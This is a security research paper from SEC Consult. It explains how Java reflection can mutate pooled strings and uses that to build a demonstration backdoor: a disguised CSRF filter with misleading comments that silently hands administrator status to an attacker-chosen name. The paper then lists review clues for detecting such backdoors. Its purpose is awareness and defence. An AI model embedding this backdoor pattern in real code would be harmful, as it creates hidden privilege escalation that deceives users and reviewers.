THE SOURCE IS A LIE

Abusing the Java Reflection API to create a detached backdoor and uncovering it.

Andreas Nusser

SEC Consult Vulnerability Lab, Vienna, 04/2012

V 1.0

TABLE OF CONTENTS

ABSTRACT

Backdoors have always been a concern of the security community. In recent years the idea of not trusting the developer has gained momentum and manifested itself in various forms of source code review. For Java, being one of the most popular programming languages, numerous tools and papers have been written to help during reviews. While these tools and techniques are getting developed further, they usually focus on traditional programming paradigms. Modern concepts like Aspect Oriented Programming or the Java Reflection API are left out. Especially the use of Java's Reflection API in conjunction with the lesser known "string pool" can lead to a new kind of backdoor. This backdoor hides itself from unwary reviewer by disguising its access to critical resources like credential through indirection. To raise the awareness about this particular kind of backdoor, this paper will:

- Provide a short introduction to the string pool.
- Show how reflection can be used to manipulate it.
- Demonstrate how a backdoor can abuse this.
- Discuss how it can be uncovered.

In the end, there is one more attack vector the reviewer has to consider. Time will show if automated analyses will be able to detect this threat but up to this point knowledge, experience and intuition of a human reviewer are the only defense.

INTRODUCTION

When developing or reviewing the code, there is one basic trust, which is silently agreed upon: There is no such thing as "spooky action at a distance". This means that if you need to manipulate an object, you need a handle on that object. Because of this basic trust a developer can look at his source code and claim that the manipulation of object A will never have an effect on object B. Depending on the language used, this claim might be easy (BASIC) or very tricky (C++). While Java tended to be easier to be reviewed, with the introduction of Aspect Oriented Programming, Inversion of Control and the Reflection API, things got worse. Reviewing a Java application for security vulnerabilities and hidden backdoors is more of a challenge than ever.

When searching the web for Java backdoors, one can find a lot of pages discussing this topic. Jeff William's "Enterprise Rootkits" (1) is a paper I highly recommend to be read by every source code reviewer. In the chapter "Abusing Reflection (Part 1)" he wrote about how Java Reflection can be used to manipulate the seemingly, immutable strings. With this knowledge we will start our journey into the wonderful world of JVM gotchas.

STRING BASICS

We will start with a little and simple sample program:

```
package org.example;

import java.lang.reflect.Field;

public class Main {
      public static void main(String[] args) throws Exception {
            String foo = "abc";
            String bar = "abc";
            String baz = new String("abc");
            String interned = baz.intern();
            char[] fooChars = getChars(foo);

            System.out.println("\"abc\" == foo? " + ("abc" == foo));
            System.out.println("\"a\" + \"bc\" == foo? "
                                                + ("a" + "bc"  == foo));
            System.out.println("foo == bar? " + (foo == bar));
            System.out.println("foo == baz? " + (foo == baz));
            System.out.println("foo.equals(baz)? " + (foo.equals(baz)));
            System.out.println("foo == interned? " + (foo == interned));
            System.out.println("\"abc\" == foo.toCharArray? "
                                    + (fooChars == foo.toCharArray()));

      }

      public static char[] getChars(String object) throws Exception{
            Field valueField = String.class.getDeclaredField("value");
            valueField.setAccessible(true);
            return (char[]) valueField.get(object);
      }
}
```

For the vast majority of Java developers there is nothing new there. A bunch of strings is created and then compared. For completeness here is the output of the program:

```
abc == foo? true
a + bc == foo? true
foo == bar? true
foo == baz? false
foo.equals(baz)? true
foo == interned? true
```

```
abc == foo.toCharArray? false
```

I'll leave it to the entertainment of the reader to figure out why the output is this way.

This is a fairly simple program which shows some optimizations the JVM does. There are only two concepts that might be unclear.

The first concept is the so called "interning" of a string. Have a look at the Java API Documentation (2) about a short description and please read "Busting java.lang.String.intern() Myths" (3) why this is usually a bad idea. Roughly explained, intern() does put the string into a string pool and returns the reference to the string in the string pool. If there was already a string with the same value in the pool, the original reference is returned, and therefore a comparison via "==" is possible. The reason why we didn't have to intern() "foo" is, that the JVM will try to intern those constant strings automatically for us. This is actually a nice feature because it allows us to compare two constant strings across class boundaries with the "==" operator.

The second concept is used during the "getChars(String object)" method is called reflection. For the interested reader a tutorial called "Using Java Reflection" (4) is available online. In a nut shell, the method asks the string class to access a field in the string object. Because the class is the blueprint of the object, it can access all fields and methods and can even change their signature. This allows us to extract the actual char[] form the string, whereas a call to "foo.toCharArray()" would only yield a copy of this char[].

With this knowledge we can now have some fun with strings.

FUN WITH REFLECTION AND STRINGS

This time we are going to manipulate the string via the reflection API and observe the outcome. The sample program looks like this:

```
1  package org.example;
2  
3  import java.lang.reflect.Field;
4  
5  public class Main {
6          public static void main(String[] args) throws Exception {
7                  String foo = "abc";
8                  //This time intern baz immediately
9                  String baz = new String("abc").intern();
10                 char[] fooChars = getChars(foo);
11                 fooChars[0] = 'x'; fooChars[1] = 'y'; fooChars[2] = 'z';
12 
13                 System.out.println("foo.equals(\"xyz\")? "
14                                      + (foo.equals("xyz")));
15                 System.out.println("foo == \"xyz\")? " + (foo == "xyz"));
16                 System.out.println("abc == foo? " + ("abc" == foo));
17                 System.out.println("a + bc == foo? " + ("a" + "bc"  == foo));
18                 System.out.println("foo.equals(baz)? " + (foo.equals(baz)));
19                 System.out.println("\"abc\".equals(foo)? "
20                                                  + ("abc".equals(foo)));
21                 System.out.println("\"abc\".equals(\"xyz\")? "
22                                     + ("abc".equals("xyz")));
23         }
24 
25         public static char[] getChars(String object) throws Exception{
26                 //Same as in the previous program
27         }
28 }
```

The magic is happening in line 11 where the char[] holding the value of “foo” is changed to “xyz”. We are now going to look at each comparison and discuss the results.
Line 13) It should be obvious that because foo’s value is now “xyz”, foo.equals(“xyz”) must yield **true**. No surprises here.
Line 14) “foo” was constructed from the constant string “abc” and we didn’t change the reference of “foo” to “xyz”. This line yields **false**.
Line 15) To confirm the assumption of line 14, that the references haven’t changed, this line is going to print **true**.
Line 16) The compiler optimization still works. **True** is the outcome of this line.

Line 17) This line might give the first unexpected result. Although we created a new string for “baz”, it was interned and “baz” now holds the reference to the string in the string pool which is, as we remember from the previous example, the same as for “foo”. Having the same reference means that their values are also equal. Manipulating “foo” therefore also manipulated the value of “baz”. This line yields **true**.
Line 18) The alerted reader might already know what is going to happen in this line. While explaining line 17, we became aware of the fact, that we not only changed the value of “foo” but also that of every object with the same reference. “abc” is the root reference “foo” was constructed from and in line 15 it is confirmed that both share the same reference. Well, one could argue that this comparison is superfluous because of every decent implementation of “equals(Object)” checks for “this == this” first and therefore this line is always going to yield true. Correct, but try to read it aloud to see the itch we are going to scratch later: The string constant “abc” is compared to an object holding the value “xyz”. This comparison yields **true**.
Line 19) At first glance most people would think that this line is impossible and will always yield false. But the source is a lie and what is really written here is: Call the equals method on an object whose value during compilation was “abc” but is now “xyz” and use an object with the value “xyz” as parameter. Clearly this will return **true**.

Line 19 definitely represents the issue best. What the reviewer is reading is not what is going to happen. Because this manipulation works across class boundaries too, one can imagine having “foo” changed in an utility class with no direct connection to a statement like “abc”.equals(“xyz”). So, the reviewer might get suspicious because this looks like dead code but it can be obfuscated by naming “abc” something like “debug” and “xyz” something like “debux”.

The following chapter will extend this idea to a fictional backdoor.

MIRROR, MIRROR ON THE WALL, WHO IS ADMINISTRATOR?

Given that the following example is constructed it serves the purpose to show how a backdoor can be implemented without advanced obfuscation techniques and without direct access to critical resources.
The scenario is that a website determines if a user is the administrator, by checking if the username/role is called “admin”. To protect the website from evil hackers, a CSRF filter is used.

This is not real or by any means working CSRF filter! It just serves for demonstrational purposes. Please refer to the OWASP (5) for more information about CSRF and how to avoid it.

SecurityManager.java

```java
package org.example;

public class SecurityManager {
        public static final String ADMIN = "admin";

        public boolean isAdmin(String user){
                return ADMIN.equals(user);
        }
}
```

The purpose of the SecurityManager is to determine if the user is an administrator. It does so by comparing a constant string with a user name.

Index.jsp

```jsp
<%@page import="org.example.CSRFFilter"%>
<%@page import="org.example.SecurityManager"%>
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>The Source Is A Lie</title>
</head>
<body>
<%
String user = request.getParameter("user");
String token = (String)request.getAttribute(CSRFFilter.TOKEN);
SecurityManager sec = new SecurityManager();
boolean isAdmin = sec.isAdmin(user);
if(null != user){
%>
<h1>Welcome <%= user %></h1>
```

```
        <%if(isAdmin){%>
You are the administrator!
        <%}else{%>
You are NOT the administrator!
<%
        }
}
%>
<form action="index.jsp" method="post">
        <input type="text" name="user" value="<%= user != null ? user : "" %>" />
        <input type="hidden" name="csrf-token" value="<%= token %>" />
        <input type="submit" name="submit" value="Tell me who I am" />
</form>
</body>
</html>
```

The index.jsp asks the user for his/her name and tells him/her if he/she is the administrator or not.

When providing “admin” as user name, the line “You are the administrator!” should appear. For every other user name “You are NOT the administrator!” is shown.

Additionally, a token for the imaginary CSRF Filter is passed on as hidden form field.

CSRFFilter.java

```
package org.example;

import java.io.IOException;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.security.SecureRandom;
import java.util.Random;

import javax.servlet.*;
import javax.servlet.http.*;

public class CSRFFilter implements Filter{
        public static final String TOKEN = "csrf-token";
        private static final Field valueField;
        private static final Random random = new SecureRandom();
//Symbols is an array of chars from 0 - 9 and from A-z
//For readability we skip most of the chars.
        private static final char[] symbols = {'0', '1', … 'w', 'x', 'y'};
        private static final int SLEN = symbols.length;

        private String lastToken = null;

        static{
                try{
                        valueField = String.class.getDeclaredField("value");
                        valueField.setAccessible(true);
                }catch(Exception e){
                        throw new RuntimeException("There is no value in string");
                }
```

```java
        }

        public void doFilter(ServletRequest request, ServletResponse response,
                        FilterChain chain) throws IOException, ServletException
        {
                HttpServletRequest req = (HttpServletRequest) request;
                HttpServletResponse res = (HttpServletResponse) response;
                String token = req.getParameter(TOKEN);
                if(token == null){
                        //Slow but secure
                        token = new BigInteger(128 ,random)
                                        .toString(Character.MAX_RADIX);
                        if(req.getParameter("user") != null){
                                res.sendError(HttpServletResponse.SC_BAD_REQUEST);
                                return;
                        }
                }else{
                        try{
                                if(token.length() <= 5){
//Put it in the String pool for faster comparison,
//but don't pollute it with to long strings
                                        token = token.intern();
                                }

                                if(token.equals(lastToken)){
                                        res.sendError(HttpServletResponse.SC_BAD_REQUEST);
                                        return;
                                }
//To be faster, we also only change three chars in the token.
                                char[] chars = getChars(token);
                                lastToken = new String(chars);
                                for(int i = 0; i < 3; i++){
                                        int pos = random.nextInt(chars.length - 1);
                                        char replace = symbols[random.nextInt(SLEN)];
                                        chars[pos] = replace;
                                }
                        }catch(Exception e){
                                throw new ServletException(e);
                        }
                }
                req.setAttribute(TOKEN, token);
                chain.doFilter(request, response);
        }

        private char[] getChars(String token)
         throws IllegalArgumentException, IllegalAccessException
        {
//This way, java doesn't need to make a copy of the internal char array.
                return (char[]) valueField.get(token);
        }
        public void init(FilterConfig config) throws ServletException {}
        public void destroy() {}
}
```

As already mentioned before, this is no real CSRF filter and as the alerted reader has already noticed the declaration of “lastToken” as object field will prevent it from ever being useful in a multi-threaded environment.

Having said this: how does the backdoor work? First of all some obfuscation is applied to the source. For example, ignore the comments. They only serve to distract a potential reviewer and act as a false trail (Plausible deniability - anyone?).

The static constructor is partly used because we only need to get and enable the “valueField” just once and partly to lower the profile of the “getChars(String)” method, making less obvious what’s going on.

The CSRF filter should work the following way. A request is filtered. If no token is associated with the request, a new token is generated. If a token is associated, it is compared with the last token of the request. In case both don’t match, one character of the token is changed and added to the response by the index.jsp. The backdoor takes advantage of the fact, that the attacker can set his own token.

Let’s try to replay what would happen if an attacker uses “admin” as token:

1) The check in line 38 fails and execution continues in line 47.
2) Because “admin” has a length of five characters, it gets interned in line 51.
3) The token now holds the reference to “admin”. Remember the SecurityManager.java where it is decided if a user is the administrator based on the string “admin”.
4) Obviously “admin” doesn’t match the previous token.
5) In line 59 the char[] of “admin” is retrieved and three random characters are replaced. “admin” isn’t “admin” anymore. For this example assume that it was changed to “a4xiF”.
6) The token with the reference to “a4xiF” is added as attribute to the request.
7) The index.jsp uses this token as new value for the hidden field “csrf-token”.
8) The attacker reads the value of the hidden field and knows the name of the administrative account, whereas the real administrator lost his administrative privileges.
9) Calling index.jsp with “a4xiF” as name and a new csrf-token will confirm that “a4xiF” is now administrator.

Voila, there is the backdoor without us even having to touch the SecurityManager or the user parameter.

UNCOVERING THE ILLUSION

The biggest problem discovering this kind of backdoor is that at first glance there is no connection between the strange looking source and the critical resource that is exploited. Java is no great help uncovering it either. The lie about the immutable string and the little-known existence of a string pool do play their part, too. This leads to only one conclusion for security reviews: In Java a string can be a critical resource and accessing its privates is something very smelly. But it's not only about strings. One can imagine a malicious developer using the Java Reflection API to access any kind of pooled resource. There is even a second pool in the Java Virtual Machine only few developers are aware of. It's the pool of Integers from -128 to 127. I'll leave it to the gentle reader to come up with an exploiting scenario for this.
In the end, every use of reflection should be avoided unless absolutely necessary. In case a reviewer encounters some piece of code using reflection he/she might look for the following clues for a backdoor:

- The reflection is used to access parts of a class which is also used as a critical resource.
- The reflection is used on user-provided objects which are not correctly sanitized or not sanitized at all.
- The reflection is used to abuse features of the Java Virtual Machine or a class which has clearly not been intended to be used this way (e.g.: Removing the final modifier to write to a field)

To my knowledge, there is no source code analyzing tool out there that is able to detect reflection based backdoors or at least handle the Java reflection API in a useful way and assist a reviewer. To uncover the illusion, knowledge, experience and human intuition is needed.

REFERENCES

1. **Williams, Jeff.** 2009 Black Hat - "Enterprise Java Rootkit". *Papers and Presentations | Aspect Security.* [Online] Aspect Security. https://www.aspectsecurity.com/uploads/2012/02/BHUSA09-Williams-EnterpriseJavaRootkits-PAPER.pdf.

2. **Oracle.** Java™ Platform, Standard Edition 7. *String (Java Platform SE 7).* [Online] http://docs.oracle.com/javase/7/docs/api/java/lang/String.html#intern().

3. **Neto, Domingos.** Code Instructions: Busting java.lang.String.intern() Myths. *Code Instracutions.* [Online] http://www.codeinstructions.com/2009/01/busting-javalangstringintern-myths.html.

4. **Oracle.** Using Reflection. *Sun Developer Notwork.* [Online] http://java.sun.com/developer/technicalArticles/ALT/Reflection/.

5. **OWASP.** Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet. *The Open Application Security Project.* [Online] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet.

About the Vulnerability Lab

Members of the SEC Consult Vulnerability Lab perform security research in various topics of technical information security. Projects include vulnerability research and the development of cutting edge security tools and methodologies, and are supported by partners like the Technical University of Vienna. The lab has published security vulnerabilities in many high-profile software products, and selected work has been presented at top security conferences like Blackhat and DeepSec.

For more information, see http://www.sec-consult.com/